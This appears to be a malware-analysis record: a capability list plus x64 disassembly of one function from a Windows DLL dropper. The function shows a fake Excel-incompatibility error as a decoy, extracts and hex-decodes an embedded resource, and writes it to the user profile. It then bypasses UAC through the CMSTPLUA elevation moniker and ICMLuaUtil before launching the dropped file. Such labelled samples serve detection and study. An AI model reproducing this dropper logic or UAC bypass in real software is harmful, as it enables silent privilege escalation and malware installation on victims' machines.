Function at 0x1800015c0
Capabilities:
Bypass uac via icmluautil
Create process on windows
Extract resource via kernel32 functions
Query environment variable

Disassembly:
push rbp
push rbx
push r13
push r14
lea rbp, [rsp - 0x608]
sub rsp, 0x708
mov rax, qword [0x18000e0c0]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
xor r13d, r13d
lea rcx, str.userprofile
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x38], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rbp - 0x28], xmm1
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x180001610
mov qword [rsp + 0x730], rsi
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x738], rdi
mov rdx, rax
mov qword [rsp + 0x740], r12
call fcn.1800040c0
mov r14d, 1
lea r8, str.Error:_incompatible_version
mov r9d, r14d
lea rdx, str.Excel_sheet_not_compatible_with_Microsoft_Office_Excel_version_present_on_the_system.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [0x18000eb20]
lea r8, [0x18000a748]
mov edx, 0x65
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0xf8
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x170]
call fcn.1800026a0
xor edx, edx
lea rcx, [rbp + 0x270]
mov r8d, 0xf8
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x270]
call fcn.1800026a0
test rbx, rbx
je 0x18000170a
mov rcx, qword [0x18000eb20]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x18000170a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x18000170a
mov rcx, qword [0x18000eb20]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x180001e49
mov rdx, rdi
lea rcx, [rbp + 0x180]
call fcn.180003ba0
call fcn.180004520
call fcn.180001290
xorps xmm0, xmm0
lea rdx, [rbp - 0x38]
xor eax, eax
lea rcx, [rbp - 0x68]
movups xmmword [rbp + 0x370], xmm0
mov dword [rbp + 0x3d0], eax
movups xmmword [rbp + 0x380], xmm0
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
call fcn.180003d80
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x180001763
mov rcx, qword [rax]
lea rdx, [rbp + 0x370]
sub rdx, rcx
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001770
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x1800017bc
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800017b7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800017b7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000899c
mov ecx, 0x64
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9d, 0xffffffff
mov dword [rsp + 0x28], 0x64
lea r8, [rbp + 0x370]
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov r12, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, qword [rbp + 0x1f8]
xor eax, eax
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
mov eax, edx
mov qword [rsp + 0x68], r13
and al, 0x22
mov rdi, r13
mov ecx, 0xf
mov qword [rsp + 0x70], rcx
movups xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x58], dil
movups xmmword [rsp + 0x78], xmm0
cmp al, 2
je 0x180001857
mov rax, qword [rbp + 0x1c8]
mov r8, qword [rax]
test r8, r8
je 0x180001857
cmp r8, qword [rbp + 0x1f0]
mov rax, qword [rbp + 0x1a8]
cmovb r8, qword [rbp + 0x1f0]
mov rdx, qword [rax]
sub r8, rdx
jmp 0x180001890
test dl, 4
jne 0x180001887
mov rax, qword [rbp + 0x1c0]
mov r9, qword [rax]
test r9, r9
je 0x180001887
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1d8]
movsxd r8, dword [rax]
sub r8, rdx
add r8, r9
jmp 0x180001890
mov r8, qword [rbp - 0x80]
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x1800018a9
lea rcx, [rsp + 0x58]
call fcn.180003a20
mov rcx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
xorps xmm0, xmm0
mov qword [rbp - 0x78], r13
movdqu xmmword [rsp + 0x78], xmm0
test rdi, rdi
mov rsi, r13
mov rdi, qword [rbp - 0x80]
mov ebx, r13d
je 0x18000197b
mov rax, r13
nop dword [rax]
mov r8, rax
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x68]
call fcn.1800038a0
cmp qword [rbp - 0x50], 0xf
lea rcx, [rbp - 0x68]
mov r8d, 0x10
cmova rcx, qword [rbp - 0x68]
xor edx, edx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov byte [rsp + 0x50], al
cmp rdi, rsi
je 0x180001911
mov byte [rdi], al
inc rdi
mov qword [rbp - 0x80], rdi
jmp 0x18000192b
lea r8, [rsp + 0x50]
mov rdx, rdi
lea rcx, [rsp + 0x78]
call fcn.180004350
mov rsi, qword [rbp - 0x78]
mov rdi, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x180001966
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001961
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001a95
call fcn.18000899c
add ebx, 2
mov eax, ebx
cmp rax, qword [rsp + 0x68]
jb 0x1800018d0
mov rcx, qword [rsp + 0x70]
cmp rcx, 0xf
jbe 0x1800019b4
lea rdx, [rcx + 1]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800019af
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001f24
call fcn.18000899c
xor edx, edx
lea rcx, [rbp - 8]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
lea rax, [0x18000a840]
lea rcx, [rbp + 0x98]
mov qword [rbp - 0x10], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp - 8]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x74], r13b
lea rcx, [rbp - 8]
mov qword [rbp - 8], rax
mov byte [rbp + 0x69], r13b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x18001cb68]
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x68]
mov qword [rbp + 0x6c], rax
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x60], r13
call fcn.180003d80
cmp qword [rax + 0x18], 0xf
jbe 0x180001a68
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.180003750
xor r8d, r8d
test rax, rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x10]
je 0x180001a9c
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x180001aaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x180001ae8
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001ae3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001ae3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000899c
mov rbx, qword [rsp + 0x78]
lea rcx, [rbp - 0x10]
mov r8, rdi
mov rdx, rbx
sub r8, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 8]
call fcn.180003690
test rax, rax
jne 0x180001b2b
mov rax, qword [rbp - 0x10]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x10]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp rbx, rdi
je 0x180001b37
mov qword [rbp - 0x80], rbx
mov rdi, rbx
cmp rdi, rsi
je 0x180001b9f
cmp rbx, rdi
jne 0x180001b81
test rbx, rbx
je 0x180001b9f
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x180001b6e
mov rbx, qword [rbx - 8]
add rsi, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001f24
mov rdx, rsi
mov rcx, rbx
call fcn.18000899c
mov rbx, r13
mov rsi, r13
jmp 0x180001b9f
sub rdi, rbx
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x70], rdi
call fcn.180003fe0
mov rsi, qword [rbp - 0x78]
mov rbx, qword [rsp + 0x78]
mov edx, 2
mov qword [rsp + 0x700], r15
xor ecx, ecx
mov r14d, 0xc0000022
call qword [sym.imp.ole32.dll_CoInitializeEx]
movups xmm0, xmmword [str.Elevation:Administrator_new:]
mov r15d, eax
xor eax, eax
movups xmm1, xmmword [0x18000a598]
lea rdi, [rbp - 0x68]
mov ecx, 0x30
movaps xmmword [rbp + 0x3e0], xmm0
movups xmm0, xmmword [0x18000a5a8]
mov qword [rbp - 0x70], r13
rep stosb byte [rdi], al
movzx eax, word [0x18000a5c0]
lea rcx, [rbp + 0x3e0]
movaps xmmword [rbp + 0x400], xmm0
sub rcx, 2
movsd xmm0, qword [0x18000a5b8]
movsd qword [rbp + 0x410], xmm0
mov dword [rbp - 0x68], 0x30
mov dword [rbp - 0x54], 4
movaps xmmword [rbp + 0x3f0], xmm1
mov word [rbp + 0x418], ax
nop
cmp word [rcx + 2], r13w
lea rcx, [rcx + 2]
jne 0x180001c30
movaps xmm0, xmmword [str.3E5FC7F9_9A51_4367_9063_A120244FBEC7]
lea r9, [rbp - 0x70]
movaps xmm1, xmmword [0x18000a5e0]
lea r8, [0x18000a8e8]
mov eax, dword [0x18000a618]
lea rdx, [rbp - 0x68]
movups xmmword [rcx], xmm0
movaps xmm0, xmmword [0x18000a5f0]
movups xmmword [rcx + 0x10], xmm1
movaps xmm1, xmmword [0x18000a600]
movups xmmword [rcx + 0x20], xmm0
movsd xmm0, qword [0x18000a610]
movups xmmword [rcx + 0x30], xmm1
movsd qword [rcx + 0x40], xmm0
mov dword [rcx + 0x48], eax
movzx eax, word [0x18000a61c]
mov word [rcx + 0x4c], ax
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.ole32.dll_CoGetObject]
mov rdi, qword [rbp - 0x70]
test eax, eax
jne 0x180001cd7
test rdi, rdi
je 0x180001ce5
mov rax, qword [rdi]
xor r9d, r9d
mov dword [rsp + 0x28], 5
xor r8d, r8d
mov rdx, r12
mov dword [rsp + 0x20], r13d
mov rcx, rdi
call qword [rax + 0x48]
sar eax, 0x1f
and r14d, eax
jmp 0x180001cdc
test rdi, rdi
je 0x180001ce5
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x10]
test r15d, r15d
mov r15, qword [rsp + 0x700]
jne 0x180001cf8
call qword [sym.imp.ole32.dll_CoUninitialize]
test r14d, r14d
je 0x180001e04
xorps xmm0, xmm0
mov dword [rbp + 0x100], 0x68
xor eax, eax
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x68]
mov dword [rbp + 0x164], eax
movups xmmword [rbp + 0x104], xmm0
mov qword [rbp - 0x78], rax
movups xmmword [rbp + 0x114], xmm0
movups xmmword [rbp + 0x124], xmm0
movups xmmword [rbp + 0x134], xmm0
movups xmmword [rbp + 0x144], xmm0
movups xmmword [rbp + 0x154], xmm0
movups xmmword [rsp + 0x78], xmm0
call fcn.180003d80
cmp qword [rax + 0x18], 0xf
jbe 0x180001d60
mov rax, qword [rax]
lea rcx, [rsp + 0x78]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rbp + 0x100]
mov rdx, rax
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdx, qword [rbp - 0x50]
mov edi, eax
cmp rdx, 0xf
jbe 0x180001ddb
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001dd6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001dd6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000899c
test edi, edi
jne 0x180001e04
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x10]
movzx r14d, r13w
call fcn.180001f70
test rbx, rbx
je 0x180001e49
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x180001e3e
mov rbx, qword [rbx - 8]
add rsi, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001f24
mov rdx, rsi
mov rcx, rbx
call fcn.18000899c
mov rax, qword [rbp + 0x270]
lea rdi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x270], rdi
mov rax, qword [rbp + 0x270]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x26c], edx
lea rcx, [rbp + 0x288]
call fcn.1800025e0
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x308]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x170], rdi
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x16c], edx
lea rcx, [rbp + 0x188]
call fcn.1800025e0
lea rcx, [rbp + 0x190]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x208]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x180001f30
mov rcx, qword [rbp - 0x38]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001f2b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001f2b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000899c
mov r12, qword [rsp + 0x740]
movzx eax, r14w
mov rdi, qword [rsp + 0x738]
mov rsi, qword [rsp + 0x730]
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.180008940
add rsp, 0x708
pop r14
pop r13
pop rbx
pop rbp
ret